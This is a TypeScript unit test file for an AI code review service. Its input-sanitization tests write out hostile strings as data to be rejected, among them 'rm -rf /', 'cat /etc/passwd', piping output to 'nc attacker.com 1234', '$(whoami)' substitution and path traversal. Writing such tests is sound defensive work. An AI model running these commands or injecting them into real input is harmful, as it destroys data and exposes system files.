Files
automaker/apps/server/tests/unit/services/code-review-service.test.ts
Shirone 5b620011ad feat: add CodeRabbit integration for AI-powered code reviews
This commit introduces the CodeRabbit service and its associated routes, enabling users to trigger, manage, and check the status of code reviews through a new API. Key features include:

- New routes for triggering code reviews, checking status, and stopping reviews.
- Integration with the CodeRabbit CLI for authentication and status checks.
- UI components for displaying code review results and settings management.
- Unit tests for the new code review functionality to ensure reliability.

This enhancement aims to streamline the code review process and leverage AI capabilities for improved code quality.
2026-01-24 21:10:33 +01:00

1049 lines
32 KiB
TypeScript

/**
* Unit tests for CodeReviewService
*
* Tests:
* - Service initialization and provider detection
* - Git ref sanitization (security)
* - File path sanitization (security)
* - Review execution
* - Event emission
* - Result building
* - Comment parsing
*/
import { describe, it, expect, vi, beforeEach, type Mock } from 'vitest';
import { CodeReviewService } from '@/services/code-review-service.js';
import * as cliDetection from '@/lib/cli-detection.js';
import * as simpleQueryService from '@/providers/simple-query-service.js';
import { spawn, type ChildProcess } from 'child_process';
import { EventEmitter } from 'events';
// Create mock logger
const mockLogger = vi.hoisted(() => ({
info: vi.fn(),
error: vi.fn(),
warn: vi.fn(),
debug: vi.fn(),
}));
// Mock dependencies
vi.mock('child_process', async (importOriginal) => {
const actual = await importOriginal<typeof import('child_process')>();
return {
...actual,
spawn: vi.fn(),
};
});
vi.mock('@automaker/utils', async () => {
const actual = await vi.importActual<typeof import('@automaker/utils')>('@automaker/utils');
return {
...actual,
createLogger: vi.fn(() => mockLogger),
};
});
vi.mock('@/lib/cli-detection.js', () => ({
detectAllCLis: vi.fn(),
}));
vi.mock('@/providers/simple-query-service.js', () => ({
streamingQuery: vi.fn(),
}));
/**
* Helper to create a mock child process for spawn
*/
function createMockChildProcess(options: {
stdout?: string;
stderr?: string;
exitCode?: number;
shouldError?: boolean;
}): ChildProcess {
const { stdout = '', stderr = '', exitCode = 0, shouldError = false } = options;
const mockProcess = new EventEmitter() as any;
mockProcess.stdout = new EventEmitter();
mockProcess.stderr = new EventEmitter();
mockProcess.kill = vi.fn();
// Simulate async output
process.nextTick(() => {
if (stdout) {
mockProcess.stdout.emit('data', Buffer.from(stdout));
}
if (stderr) {
mockProcess.stderr.emit('data', Buffer.from(stderr));
}
if (shouldError) {
mockProcess.emit('error', new Error('Process error'));
} else {
mockProcess.emit('close', exitCode);
}
});
return mockProcess as ChildProcess;
}
describe('code-review-service.ts', () => {
let service: CodeReviewService;
const mockEvents = {
subscribe: vi.fn(),
emit: vi.fn(),
};
const mockSettingsService = {
getSettings: vi.fn().mockResolvedValue({}),
};
beforeEach(() => {
vi.clearAllMocks();
service = new CodeReviewService(mockEvents as any, mockSettingsService as any);
});
describe('constructor', () => {
it('should initialize with event emitter and settings service', () => {
expect(service).toBeDefined();
});
it('should work without settings service', () => {
const serviceWithoutSettings = new CodeReviewService(mockEvents as any);
expect(serviceWithoutSettings).toBeDefined();
});
});
describe('initialize', () => {
it('should detect all available CLIs on initialization', async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true, version: '1.0.0' },
issues: [],
},
codex: null,
cursor: null,
coderabbit: null,
opencode: null,
});
await service.initialize();
expect(cliDetection.detectAllCLis).toHaveBeenCalled();
});
});
describe('refreshProviderStatus', () => {
it('should refresh and cache provider status', async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true, version: '1.0.0' },
issues: [],
},
codex: {
detected: true,
cli: { installed: true, authenticated: false, version: '0.5.0' },
issues: ['Not authenticated'],
},
cursor: null,
coderabbit: null,
opencode: null,
});
const result = await service.refreshProviderStatus();
expect(result.size).toBe(2);
expect(result.get('claude')).toEqual({
provider: 'claude',
available: true,
authenticated: true,
version: '1.0.0',
issues: [],
});
expect(result.get('codex')).toEqual({
provider: 'codex',
available: true,
authenticated: false,
version: '0.5.0',
issues: ['Not authenticated'],
});
});
});
describe('getProviderStatus', () => {
it('should return cached status within TTL', async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true, version: '1.0.0' },
issues: [],
},
codex: null,
cursor: null,
coderabbit: null,
opencode: null,
});
// First call refreshes
await service.getProviderStatus();
expect(cliDetection.detectAllCLis).toHaveBeenCalledTimes(1);
// Second call uses cache
await service.getProviderStatus();
expect(cliDetection.detectAllCLis).toHaveBeenCalledTimes(1);
});
it('should force refresh when requested', async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true, version: '1.0.0' },
issues: [],
},
codex: null,
cursor: null,
coderabbit: null,
opencode: null,
});
await service.getProviderStatus();
await service.getProviderStatus(true);
expect(cliDetection.detectAllCLis).toHaveBeenCalledTimes(2);
});
});
describe('getBestProvider', () => {
it('should return claude as highest priority when available', async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true, version: '1.0.0' },
issues: [],
},
codex: {
detected: true,
cli: { installed: true, authenticated: true, version: '0.5.0' },
issues: [],
},
cursor: null,
coderabbit: null,
opencode: null,
});
const result = await service.getBestProvider();
expect(result).toBe('claude');
});
it('should return codex if claude is not available', async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: null,
codex: {
detected: true,
cli: { installed: true, authenticated: true, version: '0.5.0' },
issues: [],
},
cursor: null,
coderabbit: null,
opencode: null,
});
const result = await service.getBestProvider();
expect(result).toBe('codex');
});
it('should return null if no providers are available', async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: null,
codex: null,
cursor: null,
coderabbit: null,
opencode: null,
});
const result = await service.getBestProvider();
expect(result).toBeNull();
});
it('should skip unauthenticated providers', async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: false, version: '1.0.0' },
issues: ['Not authenticated'],
},
codex: {
detected: true,
cli: { installed: true, authenticated: true, version: '0.5.0' },
issues: [],
},
cursor: null,
coderabbit: null,
opencode: null,
});
const result = await service.getBestProvider();
expect(result).toBe('codex');
});
});
describe('executeReview - security', () => {
describe('git ref sanitization', () => {
it('should accept valid git refs', async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true },
issues: [],
},
codex: null,
cursor: null,
coderabbit: null,
opencode: null,
});
// Return a fresh mock process for each spawn call
vi.mocked(spawn).mockImplementation(() => createMockChildProcess({ stdout: '' }));
// Mock getBestProvider to avoid async issues
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
// These should not throw
const validRefs = ['HEAD', 'HEAD~1', 'HEAD~10', 'main', 'feature/test', 'v1.0.0', 'abc123'];
for (const ref of validRefs) {
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: ref,
});
expect(result.verdict).toBe('approved');
}
});
it('should reject git refs that are too long', async () => {
const longRef = 'a'.repeat(300);
await expect(
service.executeReview({
projectPath: '/test/project',
baseRef: longRef,
})
).rejects.toThrow('Git reference is too long');
});
it('should reject empty git refs', async () => {
await expect(
service.executeReview({
projectPath: '/test/project',
baseRef: ' ',
})
).rejects.toThrow('Git reference cannot be empty');
});
it('should reject git refs with path traversal', async () => {
await expect(
service.executeReview({
projectPath: '/test/project',
baseRef: '../etc/passwd',
})
).rejects.toThrow('Git reference contains invalid characters');
});
it('should reject git refs starting with dash (flag injection)', async () => {
await expect(
service.executeReview({
projectPath: '/test/project',
baseRef: '--exec=rm -rf /',
})
).rejects.toThrow('Git reference contains invalid characters');
});
it('should reject git refs with shell metacharacters', async () => {
const maliciousRefs = [
'HEAD; rm -rf /',
'HEAD && cat /etc/passwd',
'HEAD | nc attacker.com 1234',
'HEAD`whoami`',
'HEAD$(whoami)',
];
for (const ref of maliciousRefs) {
await expect(
service.executeReview({
projectPath: '/test/project',
baseRef: ref,
})
).rejects.toThrow('Git reference contains invalid characters');
}
});
it('should reject git refs with whitespace', async () => {
await expect(
service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD --version',
})
).rejects.toThrow('Git reference contains invalid characters');
});
});
describe('file path sanitization', () => {
it('should reject absolute paths', async () => {
await expect(
service.executeReview({
projectPath: '/test/project',
files: ['/etc/passwd'],
})
).rejects.toThrow('Absolute file paths are not allowed');
});
it('should reject Windows absolute paths', async () => {
await expect(
service.executeReview({
projectPath: '/test/project',
files: ['C:\\Windows\\System32\\config'],
})
).rejects.toThrow('Absolute file paths are not allowed');
});
it('should reject path traversal in files', async () => {
await expect(
service.executeReview({
projectPath: '/test/project',
files: ['../../../etc/passwd'],
})
).rejects.toThrow('Path traversal is not allowed');
});
it('should reject files with null bytes', async () => {
await expect(
service.executeReview({
projectPath: '/test/project',
files: ['file.txt\x00.exe'],
})
).rejects.toThrow('File path contains invalid characters');
});
it('should reject too many files (DoS prevention)', async () => {
const tooManyFiles = Array.from({ length: 150 }, (_, i) => `file${i}.ts`);
await expect(
service.executeReview({
projectPath: '/test/project',
files: tooManyFiles,
})
).rejects.toThrow('Too many files specified. Maximum is 100');
});
it('should accept valid relative paths', async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true },
issues: [],
},
codex: null,
cursor: null,
coderabbit: null,
opencode: null,
});
// Return fresh mock process for each spawn call (worktree detection + git diff)
vi.mocked(spawn).mockImplementation(() =>
createMockChildProcess({ stdout: 'diff content' })
);
// Mock getBestProvider to avoid async issues
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: '```json\n{"verdict": "approved", "summary": "LGTM", "comments": []}\n```',
stopReason: 'end_turn',
});
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
files: ['src/index.ts', 'src/components/Button.tsx'],
});
expect(result.verdict).toBe('approved');
});
});
});
describe('executeReview - execution', () => {
beforeEach(async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true },
issues: [],
},
codex: null,
cursor: null,
coderabbit: null,
opencode: null,
});
// Initialize provider cache to avoid async issues
await service.initialize();
// Mock getBestProvider to return 'claude' directly to avoid async issues
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
});
it('should return empty result when no files changed', async () => {
const mockProcess = createMockChildProcess({ stdout: '' });
vi.mocked(spawn).mockReturnValue(mockProcess);
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
});
expect(result.verdict).toBe('approved');
expect(result.summary).toBe('No changes to review.');
expect(result.comments).toEqual([]);
expect(mockEvents.emit).toHaveBeenCalledWith(
'code_review:event',
expect.objectContaining({
type: 'code_review_start',
})
);
expect(mockEvents.emit).toHaveBeenCalledWith(
'code_review:event',
expect.objectContaining({
type: 'code_review_complete',
})
);
});
it('should execute review and parse JSON response', async () => {
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
let spawnCallCount = 0;
vi.mocked(spawn).mockImplementation(() => {
spawnCallCount++;
return spawnCallCount === 1
? createMockChildProcess({ stdout: 'src/index.ts\nsrc/utils.ts\n' })
: createMockChildProcess({ stdout: 'diff --git a/src/index.ts...' });
});
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: `\`\`\`json
{
"verdict": "changes_requested",
"summary": "Found security issue",
"comments": [
{
"filePath": "src/index.ts",
"startLine": 10,
"endLine": 15,
"body": "SQL injection vulnerability detected",
"severity": "critical",
"category": "security",
"suggestedFix": "Use parameterized queries"
}
]
}
\`\`\``,
stopReason: 'end_turn',
});
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
});
expect(result.verdict).toBe('changes_requested');
expect(result.comments).toHaveLength(1);
expect(result.comments[0].severity).toBe('critical');
expect(result.comments[0].category).toBe('security');
expect(result.filesReviewed).toEqual(['src/index.ts', 'src/utils.ts']);
});
it('should emit code_review_comment events for each comment', async () => {
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
let spawnCallCount = 0;
vi.mocked(spawn).mockImplementation(() => {
spawnCallCount++;
return spawnCallCount === 1
? createMockChildProcess({ stdout: 'src/index.ts\n' })
: createMockChildProcess({ stdout: 'diff content' });
});
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: `\`\`\`json
{
"verdict": "approved",
"summary": "Minor improvements suggested",
"comments": [
{
"filePath": "src/index.ts",
"startLine": 5,
"body": "Consider using const",
"severity": "low",
"category": "code_quality"
},
{
"filePath": "src/index.ts",
"startLine": 20,
"body": "Add error handling",
"severity": "medium",
"category": "implementation"
}
]
}
\`\`\``,
stopReason: 'end_turn',
});
await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
});
// Should emit 2 code_review_comment events (one for each comment)
const commentEvents = mockEvents.emit.mock.calls.filter(
(call) => call[1]?.type === 'code_review_comment'
);
expect(commentEvents).toHaveLength(2);
});
it('should handle git diff error gracefully', async () => {
const errorProcess = createMockChildProcess({
stderr: 'fatal: not a git repository',
exitCode: 128,
});
vi.mocked(spawn).mockReturnValue(errorProcess);
await expect(
service.executeReview({
projectPath: '/not-a-git-repo',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
})
).rejects.toThrow('Failed to get changed files from git');
expect(mockEvents.emit).toHaveBeenCalledWith(
'code_review:event',
expect.objectContaining({
type: 'code_review_error',
})
);
});
it('should handle spawn error', async () => {
const errorProcess = createMockChildProcess({
shouldError: true,
});
vi.mocked(spawn).mockReturnValue(errorProcess);
await expect(
service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
})
).rejects.toThrow('Failed to execute git command');
});
it('should fallback to text when JSON parsing fails', async () => {
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
let spawnCallCount = 0;
vi.mocked(spawn).mockImplementation(() => {
spawnCallCount++;
return spawnCallCount === 1
? createMockChildProcess({ stdout: 'src/index.ts\n' })
: createMockChildProcess({ stdout: 'diff content' });
});
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: 'This is a plain text review without JSON formatting',
stopReason: 'end_turn',
});
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
});
expect(result.comments).toHaveLength(1);
expect(result.comments[0].body).toBe('This is a plain text review without JSON formatting');
expect(result.comments[0].severity).toBe('info');
expect(mockLogger.warn).toHaveBeenCalledWith(
'Failed to parse review JSON, falling back to text extraction',
expect.any(Object)
);
});
});
describe('verdict determination', () => {
beforeEach(() => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true },
issues: [],
},
codex: null,
cursor: null,
coderabbit: null,
opencode: null,
});
// Mock getBestProvider to return 'claude' directly to avoid async issues
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
});
it('should return changes_requested for critical issues', async () => {
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
let spawnCallCount = 0;
vi.mocked(spawn).mockImplementation(() => {
spawnCallCount++;
return spawnCallCount === 1
? createMockChildProcess({ stdout: 'src/index.ts\n' })
: createMockChildProcess({ stdout: 'diff content' });
});
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: `\`\`\`json
{
"verdict": "approved",
"summary": "test",
"comments": [
{
"filePath": "src/index.ts",
"startLine": 1,
"body": "Critical issue",
"severity": "critical",
"category": "security"
}
]
}
\`\`\``,
stopReason: 'end_turn',
});
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
});
expect(result.verdict).toBe('changes_requested');
});
it('should return needs_discussion for high severity issues', async () => {
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
let spawnCallCount = 0;
vi.mocked(spawn).mockImplementation(() => {
spawnCallCount++;
return spawnCallCount === 1
? createMockChildProcess({ stdout: 'src/index.ts\n' })
: createMockChildProcess({ stdout: 'diff content' });
});
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: `\`\`\`json
{
"verdict": "approved",
"summary": "test",
"comments": [
{
"filePath": "src/index.ts",
"startLine": 1,
"body": "High issue",
"severity": "high",
"category": "performance"
}
]
}
\`\`\``,
stopReason: 'end_turn',
});
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
});
expect(result.verdict).toBe('needs_discussion');
});
it('should return approved for medium/low/info issues only', async () => {
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
let spawnCallCount = 0;
vi.mocked(spawn).mockImplementation(() => {
spawnCallCount++;
return spawnCallCount === 1
? createMockChildProcess({ stdout: 'src/index.ts\n' })
: createMockChildProcess({ stdout: 'diff content' });
});
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: `\`\`\`json
{
"verdict": "changes_requested",
"summary": "test",
"comments": [
{
"filePath": "src/index.ts",
"startLine": 1,
"body": "Medium issue",
"severity": "medium",
"category": "code_quality"
},
{
"filePath": "src/index.ts",
"startLine": 10,
"body": "Low issue",
"severity": "low",
"category": "documentation"
}
]
}
\`\`\``,
stopReason: 'end_turn',
});
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
});
expect(result.verdict).toBe('approved');
});
});
describe('summary building', () => {
beforeEach(async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true },
issues: [],
},
codex: null,
cursor: null,
coderabbit: null,
opencode: null,
});
// Initialize provider cache to avoid async issues
await service.initialize();
// Mock getBestProvider to return 'claude' directly to avoid async issues
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
});
it('should build correct summary stats', async () => {
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
let spawnCallCount = 0;
vi.mocked(spawn).mockImplementation(() => {
spawnCallCount++;
return spawnCallCount === 1
? createMockChildProcess({ stdout: 'src/index.ts\nsrc/utils.ts\n' })
: createMockChildProcess({ stdout: 'diff content' });
});
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: `\`\`\`json
{
"verdict": "approved",
"summary": "test",
"comments": [
{ "filePath": "src/index.ts", "startLine": 1, "body": "Critical", "severity": "critical", "category": "security" },
{ "filePath": "src/index.ts", "startLine": 2, "body": "High", "severity": "high", "category": "performance" },
{ "filePath": "src/index.ts", "startLine": 3, "body": "Medium", "severity": "medium", "category": "code_quality" },
{ "filePath": "src/utils.ts", "startLine": 1, "body": "Low", "severity": "low", "category": "testing" },
{ "filePath": "src/utils.ts", "startLine": 2, "body": "Info", "severity": "info", "category": "documentation" }
]
}
\`\`\``,
stopReason: 'end_turn',
});
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
});
expect(result.stats.totalComments).toBe(5);
expect(result.stats.bySeverity).toEqual({
critical: 1,
high: 1,
medium: 1,
low: 1,
info: 1,
});
expect(result.stats.byCategory.security).toBe(1);
expect(result.stats.byCategory.performance).toBe(1);
expect(result.stats.byCategory.code_quality).toBe(1);
expect(result.stats.byCategory.testing).toBe(1);
expect(result.stats.byCategory.documentation).toBe(1);
});
it('should generate human-readable summary text', async () => {
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
let spawnCallCount = 0;
vi.mocked(spawn).mockImplementation(() => {
spawnCallCount++;
return spawnCallCount === 1
? createMockChildProcess({ stdout: 'src/index.ts\nsrc/utils.ts\n' })
: createMockChildProcess({ stdout: 'diff content' });
});
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: `\`\`\`json
{
"verdict": "approved",
"summary": "test",
"comments": [
{ "filePath": "src/index.ts", "startLine": 1, "body": "Critical", "severity": "critical", "category": "security" },
{ "filePath": "src/index.ts", "startLine": 2, "body": "Medium", "severity": "medium", "category": "code_quality" }
]
}
\`\`\``,
stopReason: 'end_turn',
});
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
});
expect(result.summary).toContain('2 comment');
expect(result.summary).toContain('2 file');
expect(result.summary).toContain('1 critical');
expect(result.summary).toContain('1 medium');
});
});
describe('severity and category validation', () => {
beforeEach(async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true },
issues: [],
},
codex: null,
cursor: null,
coderabbit: null,
opencode: null,
});
// Initialize provider cache to avoid async issues
await service.initialize();
// Mock getBestProvider to return 'claude' directly to avoid async issues
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
});
it('should normalize invalid severity to medium', async () => {
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
let spawnCallCount = 0;
vi.mocked(spawn).mockImplementation(() => {
spawnCallCount++;
return spawnCallCount === 1
? createMockChildProcess({ stdout: 'src/index.ts\n' })
: createMockChildProcess({ stdout: 'diff content' });
});
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: `\`\`\`json
{
"verdict": "approved",
"summary": "test",
"comments": [
{ "filePath": "src/index.ts", "startLine": 1, "body": "Test", "severity": "invalid_severity", "category": "security" }
]
}
\`\`\``,
stopReason: 'end_turn',
});
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
});
expect(result.comments[0].severity).toBe('medium');
});
it('should normalize invalid category to code_quality', async () => {
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
let spawnCallCount = 0;
vi.mocked(spawn).mockImplementation(() => {
spawnCallCount++;
return spawnCallCount === 1
? createMockChildProcess({ stdout: 'src/index.ts\n' })
: createMockChildProcess({ stdout: 'diff content' });
});
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: `\`\`\`json
{
"verdict": "approved",
"summary": "test",
"comments": [
{ "filePath": "src/index.ts", "startLine": 1, "body": "Test", "severity": "medium", "category": "invalid_category" }
]
}
\`\`\``,
stopReason: 'end_turn',
});
const result = await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
});
expect(result.comments[0].category).toBe('code_quality');
});
});
describe('categories focus', () => {
beforeEach(async () => {
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
claude: {
detected: true,
cli: { installed: true, authenticated: true },
issues: [],
},
codex: null,
cursor: null,
coderabbit: null,
opencode: null,
});
// Initialize provider cache to avoid async issues
await service.initialize();
// Mock getBestProvider to return 'claude' directly to avoid async issues
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
});
it('should include categories in prompt when specified', async () => {
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
let spawnCallCount = 0;
vi.mocked(spawn).mockImplementation(() => {
spawnCallCount++;
return spawnCallCount === 1
? createMockChildProcess({ stdout: 'src/index.ts\n' })
: createMockChildProcess({ stdout: 'diff content' });
});
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
text: `\`\`\`json
{"verdict": "approved", "summary": "test", "comments": []}
\`\`\``,
stopReason: 'end_turn',
});
await service.executeReview({
projectPath: '/test/project',
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
categories: ['security', 'performance'],
});
expect(simpleQueryService.streamingQuery).toHaveBeenCalledWith(
expect.objectContaining({
prompt: expect.stringContaining('security, performance'),
})
);
});
});
});